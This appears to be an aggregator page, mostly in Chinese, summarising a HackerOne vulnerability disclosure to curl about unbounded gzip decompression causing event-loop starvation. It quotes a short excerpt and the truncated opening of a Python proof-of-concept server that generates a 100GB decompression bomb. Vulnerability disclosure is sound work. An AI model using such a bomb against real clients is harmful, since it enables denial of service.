Unbounded GZIP Decompression Leading to Event-Loop Starvation
拒绝服务 / Improper Handling of Highly Compressed Data (Data Amplification) / #3632427
该报告还没有中文解读。
原文摘录
摘自原文(6393 字符中的一小部分)
When libcurl is configured to decompress HTTP responses (via `CURLOPT_ACCEPT_ENCODING` or the `--compressed` CLI flag), it lacks decompression bounds checking or a mechanism to yield execution during massive expansion tasks. If an attacker provides a highly compressed payload (zip bomb), libcurl's …
原文中的代码
#!/usr/bin/env python3
import gzip
import io
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
print("[*] Generating 100GB decompression bomb...")
# Generate a highly compressed 100GB payload in memory
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 curl 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ok3y · 版权归作者与 curl 所有